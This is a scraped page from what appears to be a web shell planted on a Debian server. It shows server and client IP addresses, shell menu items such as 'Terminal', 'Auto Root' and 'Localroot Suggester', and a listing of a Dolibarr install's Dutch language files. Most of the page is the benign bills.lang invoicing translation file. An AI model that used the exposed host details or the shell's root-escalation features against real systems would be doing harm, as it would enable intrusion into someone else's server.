Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
langs /
nl_NL /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
18.52
KB
-rw-r--r--
2025-11-25 13:27
admin.lang
132.32
KB
-rw-r--r--
2025-11-25 13:27
agenda.lang
6.53
KB
-rw-r--r--
2025-11-25 13:27
banks.lang
7.19
KB
-rw-r--r--
2025-11-25 13:27
bills.lang
31.16
KB
-rw-r--r--
2025-11-25 13:27
bookmarks.lang
952
B
-rw-r--r--
2025-11-25 13:27
boxes.lang
4.52
KB
-rw-r--r--
2025-11-25 13:27
cashdesk.lang
1.17
KB
-rw-r--r--
2025-11-25 13:27
categories.lang
4.84
KB
-rw-r--r--
2025-11-25 13:27
commercial.lang
3.18
KB
-rw-r--r--
2025-11-25 13:27
companies.lang
15.96
KB
-rw-r--r--
2025-11-25 13:27
compta.lang
15.48
KB
-rw-r--r--
2025-11-25 13:27
contracts.lang
4.8
KB
-rw-r--r--
2025-11-25 13:27
cron.lang
4.55
KB
-rw-r--r--
2025-11-25 13:27
deliveries.lang
1.16
KB
-rw-r--r--
2025-11-25 13:27
dict.lang
8.36
KB
-rw-r--r--
2025-11-25 13:27
donations.lang
1.38
KB
-rw-r--r--
2025-11-25 13:27
ecm.lang
2.81
KB
-rw-r--r--
2025-11-25 13:27
errors.lang
22.43
KB
-rw-r--r--
2025-11-25 13:27
exports.lang
9.99
KB
-rw-r--r--
2025-11-25 13:27
externalsite.lang
264
B
-rw-r--r--
2025-11-25 13:27
ftp.lang
1019
B
-rw-r--r--
2025-11-25 13:27
help.lang
1.88
KB
-rw-r--r--
2025-11-25 13:27
holiday.lang
5.62
KB
-rw-r--r--
2025-11-25 13:27
hrm.lang
562
B
-rw-r--r--
2025-11-25 13:27
install.lang
18.46
KB
-rw-r--r--
2025-11-25 13:27
interventions.lang
3.62
KB
-rw-r--r--
2025-11-25 13:27
languages.lang
2.46
KB
-rw-r--r--
2025-11-25 13:27
ldap.lang
1.57
KB
-rw-r--r--
2025-11-25 13:27
link.lang
508
B
-rw-r--r--
2025-11-25 13:27
loan.lang
1.08
KB
-rw-r--r--
2025-11-25 13:27
mailmanspip.lang
1.54
KB
-rw-r--r--
2025-11-25 13:27
mails.lang
9.71
KB
-rw-r--r--
2025-11-25 13:27
main.lang
28.28
KB
-rw-r--r--
2025-11-25 13:27
margins.lang
2.79
KB
-rw-r--r--
2025-11-25 13:27
members.lang
11.42
KB
-rw-r--r--
2025-11-25 13:27
modulebuilder.lang
8.08
KB
-rw-r--r--
2025-11-25 13:27
oauth.lang
1.75
KB
-rw-r--r--
2025-11-25 13:27
opensurvey.lang
3.21
KB
-rw-r--r--
2025-11-25 13:27
orders.lang
7.31
KB
-rw-r--r--
2025-11-25 13:27
other.lang
13.29
KB
-rw-r--r--
2025-11-25 13:27
paybox.lang
2.9
KB
-rw-r--r--
2025-11-25 13:27
paypal.lang
2.1
KB
-rw-r--r--
2025-11-25 13:27
printing.lang
2.37
KB
-rw-r--r--
2025-11-25 13:27
productbatch.lang
1.3
KB
-rw-r--r--
2025-11-25 13:27
products.lang
16.99
KB
-rw-r--r--
2025-11-25 13:27
projects.lang
12.11
KB
-rw-r--r--
2025-11-25 13:27
propal.lang
3.69
KB
-rw-r--r--
2025-11-25 13:27
receiptprinter.lang
1.79
KB
-rw-r--r--
2025-11-25 13:27
resource.lang
1.22
KB
-rw-r--r--
2025-11-25 13:27
salaries.lang
1.15
KB
-rw-r--r--
2025-11-25 13:27
sendings.lang
3.29
KB
-rw-r--r--
2025-11-25 13:27
sms.lang
1.73
KB
-rw-r--r--
2025-11-25 13:27
stocks.lang
11.58
KB
-rw-r--r--
2025-11-25 13:27
stripe.lang
4
KB
-rw-r--r--
2025-11-25 13:27
supplier_proposal.lang
2.64
KB
-rw-r--r--
2025-11-25 13:27
suppliers.lang
2.18
KB
-rw-r--r--
2025-11-25 13:27
trips.lang
6.99
KB
-rw-r--r--
2025-11-25 13:27
users.lang
5.39
KB
-rw-r--r--
2025-11-25 13:27
website.lang
7.98
KB
-rw-r--r--
2025-11-25 13:27
withdrawals.lang
6.58
KB
-rw-r--r--
2025-11-25 13:27
workflow.lang
2.57
KB
-rw-r--r--
2025-11-25 13:27
Save
Rename
# Dolibarr language file - Source file is en_US - bills Bill=Factuur Bills=Facturen BillsCustomers=Klantenfactuur BillsCustomer=Afnemersfactuur BillsSuppliers=Leveranciersfacturen BillsCustomersUnpaid=Onbetaalde klant facturen BillsCustomersUnpaidForCompany=Onbetaalde klant facturen voor %s BillsSuppliersUnpaid=Onbetaalde leveranciersfacturen BillsSuppliersUnpaidForCompany=Onbetaalde leveranciers facturen voor %s BillsLate=Betalingsachterstand BillsStatistics=Statistieken afnemersfacturen BillsStatisticsSuppliers=Statistieken leveranciersfacturen DisabledBecauseDispatchedInBookkeeping=Uitgeschakeld omdat de factuur werd verzonden naar de boekhouding DisabledBecauseNotLastInvoice=Uitgeschakeld omdat factuur niet kan worden gewist. Er zijn vervolg-facturen aangemaakt en hierdoor zullen gaten ontstaan in de factuurteller. DisabledBecauseNotErasable=Uitgeschakeld om dat het niet verwijderd kan worden InvoiceStandard=Standaardfactuur InvoiceStandardAsk=Standaardfactuur InvoiceStandardDesc=Kies deze optie voor een traditionele factuur InvoiceDeposit=Voorschotnota InvoiceDepositAsk=Voorschotnota InvoiceDepositDesc=Dit soort factuur wordt opgemaakt wanneer een aanbetaling gedaan wordt (en er nog geed definitieve factuur kan worden opgesteld). InvoiceProForma=Proforma factuur InvoiceProFormaAsk=Proforma factuur InvoiceProFormaDesc=Een proforma factuur is een voorlopige factuur en een orderbevestiging. Het is geen officiële factuur, maar bedoeld voor afnemers in het buitenland om bijvoorbeeld een vergunning aan te vragen of de inklaring voor te bereiden. Ze worden ook gebruikt voor het aanvragen van een Letter of Credit (L/C). InvoiceReplacement=Vervangingsfactuur InvoiceReplacementAsk=Vervangingsfactuur voor factuur InvoiceReplacementDesc=<b>Vervanging factuur</b> wordt gebruikt om een onbetaalde factuur te annuleren en te vervangen. <br><br> Opmerking: Alleen facturen zonder betaling kunne worden vervangen. Als de factuur die u vervangt nog niet gesloten is, wordt deze automatisch gesloten voor 'verlaten'. InvoiceAvoir=Creditnota InvoiceAvoirAsk=Creditnota te corrigeren factuur InvoiceAvoirDesc=De <b>creditnota</b> is een negatieve factuur die gebruikt wordt wanneer op een factuur het bedrag verschilt van het werkelijk betaalde bedrag (bijvoorbeeld omdat door de afnemer per abuis te veel is betaald of een aantal producten zijn geretouneerd).<br><br>Opmerking: de originele factuur moet worden gesloten (en geclassificeerd als zijnde 'betaald' of 'gedeeltelijk betaald') om een creditnota te kunnen aanmaken. invoiceAvoirWithLines=Maak Credit Nota met lijnen van de oorsprongkelijke factuur invoiceAvoirWithPaymentRestAmount=Maak Creditnota van resterend onbetaald bedrag van herkomst factuur invoiceAvoirLineWithPaymentRestAmount=Credit Nota voor de resterende openstaande bedrag ReplaceInvoice=Vervangen factuur %s ReplacementInvoice=Vervangingsfactuur ReplacedByInvoice=Vervangen door factuur %s ReplacementByInvoice=Vervangen door factuur CorrectInvoice=Correcte factuur %s CorrectionInvoice=Correctiefactuur UsedByInvoice=Gebruikt voor de betaling van de factuur %s ConsumedBy=Verbruikt door NotConsumed=Niet verbruikt NoReplacableInvoice=Geen verwisselbare facturen NoInvoiceToCorrect=Geen te corrigeren factuur InvoiceHasAvoir=Is een factuur van een of meerdere kredietnota's. CardBill=Factuurdetails PredefinedInvoices=Voorgedefinieerde Facturen Invoice=Factuur PdfInvoiceTitle=Factuur Invoices=Facturen InvoiceLine=Factuur online InvoiceCustomer=Afnemersfactuur CustomerInvoice=Afnemersfactuur CustomersInvoices=Afnemersfacturen SupplierInvoice=Leveranciersfactuur SuppliersInvoices=Leveranciersfacturen SupplierBill=Leveranciersfactuur SupplierBills=leveranciersfacturen Payment=Betaling PaymentBack=Terugbetaling CustomerInvoicePaymentBack=Terugbetaling Payments=Betalingen PaymentsBack=Terugbetalingen paymentInInvoiceCurrency=Factuur valuta PaidBack=Terugbetaald DeletePayment=Betaling verwijderen ConfirmDeletePayment=Weet u zeker dat u deze betaling wilt verwijderen? ConfirmConvertToReduc=Will u deze %s converteren naar een absolute korting?<br>Het bedrag zal worden verspreid over alle kortingen en kan worden gebruikt als een korting voor een bestaande of toekomstige factuur voor deze klant. ConfirmConvertToReducSupplier=Do you want to convert this %s into an absolute discount ?<br>The amount will so be saved among all discounts and could be used as a discount for a current or a future invoice for this supplier. SupplierPayments=Leveranciersbetalingen ReceivedPayments=Ontvangen betalingen ReceivedCustomersPayments=Ontvangen betalingen van afnemers PayedSuppliersPayments=Betaald aan leverancier ReceivedCustomersPaymentsToValid=Te valideren ontvangen afnemersbetalingen PaymentsReportsForYear=Betalingsverslagen voor %s PaymentsReports=Betalingsverslagen PaymentsAlreadyDone=Betalingen gedaan PaymentsBackAlreadyDone=Terugbetaling al gedaan PaymentRule=Betalingsvoorwaarde PaymentMode=Betalingstype PaymentTypeDC=Debet / Kredietkaart PaymentTypePP=PayPal IdPaymentMode=Betalingstype (Id) CodePaymentMode=Soort betaling (code) LabelPaymentMode=Betalingstype (label) PaymentModeShort=Betalingstype PaymentTerm=Betalingstermijn PaymentConditions=Betalingsvoorwaarden PaymentConditionsShort=Betalingsvoorwaarden PaymentAmount=Betalingsbedrag ValidatePayment=Valideer deze betaling PaymentHigherThanReminderToPay=Betaling hoger dan herinnering te betalen HelpPaymentHigherThanReminderToPay=Pas op, het bedrag van een of meerdere betalingen is hoger is dan de uitstaande factuur. <br> Corrigeer uw invoer, of anders bevestigen en na denken over het verlenen van een krediet van te veel betaald bij het afsluiten van elke betaalde factuur. HelpPaymentHigherThanReminderToPaySupplier=Attention, the payment amount of one or more bills is higher than the rest to pay. <br> Edit your entry, otherwise confirm and think about creating a credit note of the excess paid for each overpaid invoice. ClassifyPaid=Klassificeer 'betaald' ClassifyPaidPartially=Classificeer 'gedeeltelijk betaald' ClassifyCanceled=Classificeer 'verlaten' ClassifyClosed=Classificeer 'Gesloten' ClassifyUnBilled=Classificeren 'Nog niet gefactureerd' CreateBill=Creëer Factuur CreateCreditNote=Maak een credit nota AddBill=Toevoegen factuur of creditnota AddToDraftInvoices=Toevoegen aan aanmaak factuur DeleteBill=Verwijderen factuur SearchACustomerInvoice=Zoek een afnemersfactuur SearchASupplierInvoice=Zoek een leveranciersfactuur CancelBill=Verwijder factuur SendRemindByMail=E-mail een herinnering DoPayment=Geef betaling in DoPaymentBack=Geef terugstorting in ConvertToReduc=Markeren als tegoed beschikbaar ConvertExcessReceivedToReduc=Convert excess received into available credit ConvertExcessPaidToReduc=Convert excess paid into available discount EnterPaymentReceivedFromCustomer=Voer een ontvangen betaling van afnemer in EnterPaymentDueToCustomer=Voer een betaling te doen aan afnemer in DisabledBecauseRemainderToPayIsZero=Uitgeschakeld omdat restant te betalen gelijk is aan nul PriceBase=Basisprijs BillStatus=Factuurstatus StatusOfGeneratedInvoices=Status van gegenereerde facturen BillStatusDraft=Concept (moet worden gevalideerd) BillStatusPaid=Betaald BillStatusPaidBackOrConverted=Credit note refund or marked as credit available BillStatusConverted=Betaald (klaar voor verwerking in eindfactuur) BillStatusCanceled=Verlaten BillStatusValidated=Gevalideerd (moet worden betaald) BillStatusStarted=Gestart BillStatusNotPaid=Niet betaald BillStatusNotRefunded=Niet terugbetaald BillStatusClosedUnpaid=Gesloten (onbetaald) BillStatusClosedPaidPartially=Betaald (gedeeltelijk) BillShortStatusDraft=Concept BillShortStatusPaid=Betaald BillShortStatusPaidBackOrConverted=Teruggestort of omgezet BillShortStatusConverted=Betaald BillShortStatusCanceled=Verlaten BillShortStatusValidated=Gevalideerd BillShortStatusStarted=Gestart BillShortStatusNotPaid=Niet betaald BillShortStatusNotRefunded=Niet terugbetaald BillShortStatusClosedUnpaid=Gesloten BillShortStatusClosedPaidPartially=Betaald (gedeeltelijk) PaymentStatusToValidShort=Te valideren ErrorVATIntraNotConfigured=BTW-nummer vooriIntracommunautaire transacties, nog niet vastgesteld. ErrorNoPaiementModeConfigured=Geen standaardbetaalwijze ingesteld. Ga naar de instellingen van de factuurmodule (Home->Instellingen->Modules), om dit op te lossen. ErrorCreateBankAccount=Creëer een bankrekening, daarna gaat u naar de Instellingen van de factuurmodule om de betaalmogelijkheden te definiëren ErrorBillNotFound=Factuur %s bestaat niet ErrorInvoiceAlreadyReplaced=Fout, u probeert een factuur die factuur %s moet vervangen te valideren, maar deze is al vervangen door factuur %s. ErrorDiscountAlreadyUsed=Fout, korting al gebruikt ErrorInvoiceAvoirMustBeNegative=Fout, correcte factuur moet een negatief bedrag hebben ErrorInvoiceOfThisTypeMustBePositive=Fout, dit soort facturen moet een positief bedrag hebben ErrorCantCancelIfReplacementInvoiceNotValidated=Fout, kan een factuur niet annuleren die is vervangen door een ander factuur als deze nog in conceptstatus is ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=This part or another is already used so discount serie cant be removed. BillFrom=Van BillTo=Geadresseerd aan ActionsOnBill=Acties op factuur RecurringInvoiceTemplate=Template / Herhaal factuur NoQualifiedRecurringInvoiceTemplateFound=Geen geschikte sjablonen gevonden voor terugkerende facturen FoundXQualifiedRecurringInvoiceTemplate=Gevonden: %s geschikte templates voor herhaal facturen NotARecurringInvoiceTemplate=Is geen template voor een herhalingsfactuur NewBill=Nieuwe factuur LastBills=Laatste %s facturen LatestTemplateInvoices=Laatste %s sjabloon facturen LatestCustomerTemplateInvoices=Laatste %s klant sjabloon facturen LatestSupplierTemplateInvoices=Laatste %s leverancier sjabloon facturen LastCustomersBills=Laatste %s klant facturen LastSuppliersBills=Laatste %s leveranciersfacturen AllBills=Alle facturen AllCustomerTemplateInvoices=Alle sjabloon facturen OtherBills=Andere facturen DraftBills=conceptfacturen CustomersDraftInvoices=Klant conceptfacturen SuppliersDraftInvoices=Leverancier conceptfacturen Unpaid=Onbetaalde ConfirmDeleteBill=Weet u zeker dat u deze factuur wilt verwijderen? ConfirmValidateBill=Weet u zeker dat u factuur met referentie <b>%s</b> wilt valideren? ConfirmUnvalidateBill=Weet u zeker dat u de status van factuur <b> %s </b> wilt wijzigen naar klad? ConfirmClassifyPaidBill=Weet u zeker dat u de status van factuur <b> %s </b> wilt wijzigen naar betaald? ConfirmCancelBill=Weet u zeker dat u factuur <b> %s </b> wilt annuleren? ConfirmCancelBillQuestion=Wilt u deze factuur classificeren als 'verlaten'? ConfirmClassifyPaidPartially=Weet u zeker dat u de status van factuur <b> %s </b> wilt wijzigen naar betaald? ConfirmClassifyPaidPartiallyQuestion=Deze factuur is niet volledig betaald. Wat zijn de redenen om deze factuur te sluiten? ConfirmClassifyPaidPartiallyReasonAvoir=Aan restant te betalen <b>(%s %s)</b> wordt een korting toegekend, omdat de betaling werd gedaan vóór de termijn. Ik regulariseer de BTW met een creditnota. ConfirmClassifyPaidPartiallyReasonDiscount=Remaining unpaid <b>(%s %s)</b> is a discount granted because payment was made before term. ConfirmClassifyPaidPartiallyReasonDiscountNoVat=Aan restant te betalen <b>(%s %s)</b> wordt een korting toegekend, omdat de betaling werd verricht vóór de termijn. Ik accepteer de BTW te verliezen op deze korting. ConfirmClassifyPaidPartiallyReasonDiscountVat=Aan restant te betalen <b>(%s %s)</b> wordt een korting toegekend, omdat de betaling werd verricht vóór de termijn. Ik vorder de BTW terug van deze korting, zonder een credit nota. ConfirmClassifyPaidPartiallyReasonBadCustomer=Slechte afnemer ConfirmClassifyPaidPartiallyReasonProductReturned=Producten gedeeltelijk teruggegeven ConfirmClassifyPaidPartiallyReasonOther=Claim verlaten om andere redenen ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=Deze keuze is mogelijk als uw factuur werd gelabeld met de juiste woorden. (Voorbeeld: "Alleen de belasting die hoort bij de prijs die echt betaald is geeft recht op aftrek") ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=In sommige landen zou deze keuze alleen kunnen als uw factuur de juiste notitie bevat. ConfirmClassifyPaidPartiallyReasonAvoirDesc=Maak deze keuze als alle andere keuzes niet passend zijn ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=Een <b>slechte afnemer</b> is een afnemer die weigert zijn schulden te betalen. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=Deze keuze wordt gebruikt wanneer er geen complete betaling is ontvangen, omdat sommige van de producten zijn geretourneerd ConfirmClassifyPaidPartiallyReasonOtherDesc=Maak deze keuze als alle andere keuzes niet passend zijn, bijvoorbeeld in de volgende gevallen: <br> - gedeeltelijke betaling omdat een aantal producten geretourneerd zijn<br>- Afnemer te belangrijk: na het vergeten van een korting <br> In alle gevallen moet het teveel in rekening gebrachte aangepast worden door aan de afnemer een credit factuur te sturen. ConfirmClassifyAbandonReasonOther=Andere ConfirmClassifyAbandonReasonOtherDesc=Deze keuze zal in alle andere gevallen worden gebruikt. Bijvoorbeeld omdat u van plan bent om de factuur te vervangen. ConfirmCustomerPayment=Bevestigt u deze betaling voor <b> %s </b> %s ? ConfirmSupplierPayment=Bevestigd u deze betaling voor <b> %s </b> %s ? ConfirmValidatePayment=Weet u zeker dat u deze betaling wilt valideren? Na validatie kunnen er geen wijzigingen meer worden gemaakt. ValidateBill=Valideer factuur UnvalidateBill=Unvalidate factuur NumberOfBills=Aantal facturen NumberOfBillsByMonth=Aantal facturen per maand AmountOfBills=Bedrag van de facturen AmountOfBillsByMonthHT=Aantal facturen per maand (BTW) ShowSocialContribution=Toon sociale/fiscale belasting ShowBill=Toon factuur ShowInvoice=Toon factuur ShowInvoiceReplace=Toon vervangingsfactuur ShowInvoiceAvoir=Toon creditnota ShowInvoiceDeposit=Bekijk factuurbetalingen ShowInvoiceSituation=Situatie factuur weergeven ShowPayment=Toon betaling AlreadyPaid=Reeds betaald AlreadyPaidBack=Reeds terugbetaald AlreadyPaidNoCreditNotesNoDeposits=Reeds betaald (zonder creditnota's en stortingen's) Abandoned=Verlaten RemainderToPay=Resterend onbetaald RemainderToTake=Resterende bedrag over te nemen RemainderToPayBack=Resterende bedrag terug te storten Rest=Hangende AmountExpected=Gevorderde bedrag ExcessReceived=Overbetaling ExcessPaid=Teveel betaald EscompteOffered=Korting aangeboden (betaling vóór termijn) EscompteOfferedShort=Korting SendBillRef=Stuur factuur %s SendReminderBillRef=Stuur factuur %s (herinnering) StandingOrders=Incasso-opdrachten StandingOrder=Incasso-opdracht NoDraftBills=Geen conceptfacturen NoOtherDraftBills=Geen andere conceptfacturen NoDraftInvoices=Geen facturen in aanmaak RefBill=Factuurreferentie ToBill=Te factureren RemainderToBill=Rest naar factuur SendBillByMail=Stuur de factuur per e-mail SendReminderBillByMail=Stuur herinnering per e-mail RelatedCommercialProposals=Gerelateerde offertes RelatedRecurringCustomerInvoices=Verwante herhalende klantfacturen MenuToValid=Valideer DateMaxPayment=Betaling vóór DateInvoice=Factuurdatum DatePointOfTax=Point of tax NoInvoice=Geen factuur ClassifyBill=Classifiseer factuur SupplierBillsToPay=Onbetaalde leveranciersfacturen CustomerBillsUnpaid=Onbetaalde klant facturen NonPercuRecuperable=Niet-terugvorderbare SetConditions=Stel betalingsvoorwaarden in SetMode=Stel betalingswijze in SetRevenuStamp=Instellen fiscaal stempel Billed=Gefactureerd RecurringInvoices=Terugkerende facturen RepeatableInvoice=Sjabloon factuur RepeatableInvoices=Sjabloon facturen Repeatable=Sjabloon Repeatables=Sjablonen ChangeIntoRepeatableInvoice=Omzetten in sjabloon factuur CreateRepeatableInvoice=Maak sjabloon factuur CreateFromRepeatableInvoice=Maak van sjabloon factuur CustomersInvoicesAndInvoiceLines=Afnemersfacturen en factuurregels CustomersInvoicesAndPayments=Afnemersfacturen en betalingen ExportDataset_invoice_1=Afnemersfacturen en factuurregels ExportDataset_invoice_2=Afnemersfacturen en -betalingen ProformaBill=Proforma factuur: Reduction=Vermindering ReductionShort=Korting Reductions=Verminderingen ReductionsShort=Korting Discounts=Kortingen AddDiscount=Maak een korting AddRelativeDiscount=Maak een relatieve korting EditRelativeDiscount=Pas relatiekorting aan AddGlobalDiscount=Toevoegen korting EditGlobalDiscounts=Aanpassen absolute kortingen AddCreditNote=Maak een credit nota ShowDiscount=Toon korting ShowReduc=Toon korting RelativeDiscount=Relatiekorting GlobalDiscount=Vaste korting CreditNote=Creditnota CreditNotes=Creditnota's CreditNotesOrExcessReceived=Credit notes or excess received Deposit=Deposito / Borgsom Deposits=Deposito's DiscountFromCreditNote=Korting van creditnota %s DiscountFromDeposit=Betalingen van depositofactuur %s DiscountFromExcessReceived=Betalingen boven factuur %s DiscountFromExcessPaid=Betalingen boven factuur %s AbsoluteDiscountUse=Dit soort krediet kan gebruikt worden op de factuur voorafgaande aan de validatie CreditNoteDepositUse=Om dit soort crediet te gebruiken moet deze factuur gevalideerd worden. NewGlobalDiscount=Nieuwe korting NewRelativeDiscount=Nieuwe relatiekorting DiscountType=Soort korting NoteReason=Notitie / Reden ReasonDiscount=Reden DiscountOfferedBy=Verleend door DiscountStillRemaining=Beschikbare kortingen of tegoeden DiscountAlreadyCounted=Kortingen of tegoeden reeds verbruikt CustomerDiscounts=Klantkorting SupplierDiscounts=Leverancierskortingen BillAddress=Factuuradres HelpEscompte=Deze korting wordt toegekend aan de afnemer omdat de betaling werd gemaakt ruim voor de termijn. HelpAbandonBadCustomer=Dit bedrag is verlaten (afnemer beschouwt als slechte betaler) en wordt beschouwd als een buitengewoon verlies. HelpAbandonOther=Dit bedrag is verlaten, omdat het een fout was (verkeerde afnemer of factuur vervangen door een andere bijvoorbeeld) IdSocialContribution=Toon betalings id sociale/fiscale belasting PaymentId=Betalings id PaymentRef=Betalingsreferentie InvoiceId=Factuur id InvoiceRef=Factuurreferentie InvoiceDateCreation=Aanmaakdatum factuur InvoiceStatus=Factuurstatus InvoiceNote=Factuurnota InvoicePaid=Factuur betaald PaymentNumber=Betalingsnummer RemoveDiscount=Verwijder korting WatermarkOnDraftBill=Watermerk over conceptfacturen (niets indien leeg) InvoiceNotChecked=Geen factuur geselecteerd CloneInvoice=Kloon factuur ConfirmCloneInvoice=Weet u zeker dat u factuur <b> %s </b> wilt klonen? DisabledBecauseReplacedInvoice=Actie uitgeschakeld omdat factuur is vervangen DescTaxAndDividendsArea=Dit gedeelte geeft een opsomming weer van alle speciale betalingen. Alleen regels met betalingen in dit jaar worden weergegeven NbOfPayments=Aantal betalingen SplitDiscount=Splits korting in twee ConfirmSplitDiscount=Weet u zeker dat u deze korting <b> %s </b> %s wilt splitsen in 2 lagere kortingen? TypeAmountOfEachNewDiscount=Voer het bedrag voor elk van de twee delen in: TotalOfTwoDiscountMustEqualsOriginal=Totaal van de twee nieuwe korting moet gelijk zijn aan het originele kortingsbedrag. ConfirmRemoveDiscount=Weet u zeker dat u deze korting wilt verwijderen? RelatedBill=Gerelateerde factuur RelatedBills=Gerelateerde facturen RelatedCustomerInvoices=Verwante klantenfacturen RelatedSupplierInvoices=Verwante leveranciersfacturen LatestRelatedBill=Laatste gerelateerde factuur WarningBillExist=Waarschuwing één of meer facturen bestaan reeds MergingPDFTool=Samenvoeging PDF-tool AmountPaymentDistributedOnInvoice=Te betalen bedrag verdeeld over de factuur PaymentOnDifferentThirdBills=Betalingen toestaan van verschillende derden met hetzelfde moeder bedrijf PaymentNote=Betalingsopmerking ListOfPreviousSituationInvoices=Lijst van vorige situatie facturen ListOfNextSituationInvoices=Lijst van volgende situatie facturen ListOfSituationInvoices=Lijst met situaties facturen CurrentSituationTotal=Totale huidige situatie DisabledBecauseNotEnouthCreditNote=To remove a situation invoice from cycle, this invoice's credit note total must cover this invoice total RemoveSituationFromCycle=Verwijder deze factuur uit de cyclus ConfirmRemoveSituationFromCycle=Verwijder factuur %s uit cyclus? ConfirmOuting=Confirm outing FrequencyPer_d=Elke %s dagen FrequencyPer_m=Elke %s maanden FrequencyPer_y=Elke %s jaar FrequencyUnit=Frequentie eenheid toolTipFrequency=Voorbeeld: <br><b>Set 7, Dag</b>:Maak om de 7 dagen een nieuwe factuur <br><b>Set3, Dag</b>: Maak elke 3 maanden een nieuwe factuur NextDateToExecution=Datum voor aanmaak nieuwe factuur NextDateToExecutionShort=Datum volg. aanmaak DateLastGeneration=Aanmaakdatum laatste factuur DateLastGenerationShort=Datum laatste aanmaak MaxPeriodNumber=Max aantal te genereren facturen NbOfGenerationDone=Aantal reeds aangemaakte facturen NbOfGenerationDoneShort=Aantal malen gegenereerd MaxGenerationReached=Maximum aantal aanmaken bereikt InvoiceAutoValidate=Valideer facturen automatisch GeneratedFromRecurringInvoice=Gegenereerd op basis van template herhaal-factuur %s DateIsNotEnough=Datum nog niet bereikt InvoiceGeneratedFromTemplate=Factuur %s aangemaakt met herhaal-factuur template %s WarningInvoiceDateInFuture=Waarschuwing, de factuurdatum ligt hoger dan de huidige datum WarningInvoiceDateTooFarInFuture=Waarschuwing, de factuurdatum ligt te ver van de huidige datum ViewAvailableGlobalDiscounts=Bekijk beschikbare kortingen # PaymentConditions Statut=Status PaymentConditionShortRECEP=Vervalt bij ontvangst PaymentConditionRECEP=Vervalt bij ontvangst PaymentConditionShort30D=30 dagen PaymentCondition30D=30 dagen PaymentConditionShort30DENDMONTH=30 dagen na einde van de maand PaymentCondition30DENDMONTH=Binnen 30 dagen vanaf einde van de maand PaymentConditionShort60D=60 dagen PaymentCondition60D=60 dagen PaymentConditionShort60DENDMONTH=60 dagen na einde van de maand PaymentCondition60DENDMONTH=Binnen 60 dagen vanaf einde van de maand PaymentConditionShortPT_DELIVERY=Levering PaymentConditionPT_DELIVERY=Bij levering PaymentConditionShortPT_ORDER=Order PaymentConditionPT_ORDER=Bij bestelling PaymentConditionShortPT_5050=50-50 PaymentConditionPT_5050=50%% voorschot, 50%% bij levering PaymentConditionShort10D=10 dagen PaymentCondition10D=10 dagen PaymentConditionShort10DENDMONTH=Einde maand over 10 dagen PaymentCondition10DENDMONTH=Binnen 10 dagen na het einde maand PaymentConditionShort14D=14 dagen PaymentCondition14D=14 dagen PaymentConditionShort14DENDMONTH=Einde maand over 14 dagen PaymentCondition14DENDMONTH=Binnen 14 dagen na het einde van de maand FixAmount=Vast bedrag VarAmount=Variabel bedrag (%% tot.) VarAmountOneLine=Variable amount (%% tot.) - 1 line with label '%s' # PaymentType PaymentTypeVIR=Bankoverboeking PaymentTypeShortVIR=Bankoverboeking PaymentTypePRE=Incasso betalingsopdracht PaymentTypeShortPRE=Debet betalingsopdracht PaymentTypeLIQ=Contant PaymentTypeShortLIQ=Contant PaymentTypeCB=CreditCard PaymentTypeShortCB=CreditCard PaymentTypeCHQ=Cheque PaymentTypeShortCHQ=Cheque PaymentTypeTIP=TIP (Documenten tegen betaling) PaymentTypeShortTIP=Betaling fooi PaymentTypeVAD=Internetbetaling PaymentTypeShortVAD=Internetbetaling PaymentTypeTRA=Bankcheque PaymentTypeShortTRA=Ontwerp PaymentTypeFAC=Factor PaymentTypeShortFAC=Factor BankDetails=Bankgegevens BankCode=Bankcode DeskCode=Bankcode BankAccountNumber=Rekeningnummer BankAccountNumberKey=Sleutel Residence=Incasso IBANNumber=IBAN-nummer IBAN=IBAN BIC=BIC / SWIFT BICNumber=BIC / SWIFT-nummer ExtraInfos=Extra info RegulatedOn=Geregeld op ChequeNumber=Chequenummer ChequeOrTransferNumber=Cheque / Transfernummer ChequeBordereau=Controleer rooster ChequeMaker=Cheque / Transfer transmitter ChequeBank=Bank van cheque CheckBank=Controleer NetToBePaid=Netto te betalen PhoneNumber=Tel FullPhoneNumber=Telefoonnummer TeleFax=Fax PrettyLittleSentence=Accepteert de betaling van de verschuldigde bedragen per cheque te betalen in mijn naam in mijn hoedanigheid als lid van een boekhoudkundige organisatie goedgekeurd door de fiscale administratie. IntracommunityVATNumber=Intracommunautaire BTW-nummer PaymentByChequeOrderedTo=Betaling per cheque (incl. BTW) aan %s, versturen naar PaymentByChequeOrderedToShort=Betaling per cheque (incl. BTW) aan SendTo=Verzonden naar PaymentByTransferOnThisBankAccount=Betaling via overschrijving op de volgende bankrekening VATIsNotUsedForInvoice=* BTW niet van toepassing LawApplicationPart1=Door toepassing van burgerwetboek LawApplicationPart2=blijven de goederen eigendom van LawApplicationPart3=de verkoper tot de volledige betaling van LawApplicationPart4=de rekening. LimitedLiabilityCompanyCapital=Vennootschap met een kapitaal van UseLine=Toepassen UseDiscount=Gebruik korting UseCredit=Kredietbeoordelingen UseCreditNoteInInvoicePayment=Verminderen van de betaling met deze credit nota MenuChequeDeposits=Cheques deposito's MenuCheques=Cheques MenuChequesReceipts=Cheques ontvangsten NewChequeDeposit=Nieuw depot ChequesReceipts=Cheques ontvangsten ChequesArea=Cheques details van deposito's ChequeDeposits=Cheques deposito's Cheques=Cheques DepositId=ID storting NbCheque=Aantal cheques CreditNoteConvertedIntoDiscount=Deze %s is geconverteerd naar %s UsBillingContactAsIncoiveRecipientIfExist=Gebruik afnemersfacturatiecontactadres in plaats van derde adres als ontvanger voor de facturen ShowUnpaidAll=Bekijk alle onbetaalde ShowUnpaidLateOnly=Toon alleen onbetaalde te late facturen PaymentInvoiceRef=Betaling factuur %s ValidateInvoice=Valideer factuur ValidateInvoices=Gevalideerde facturen. Cash=Contant Reported=Uitgestelde DisabledBecausePayments=Niet beschikbaar omdat er betalingen bestaan CantRemovePaymentWithOneInvoicePaid=Verwijder onmogelijk wanneer er minstens een factuur betaald is 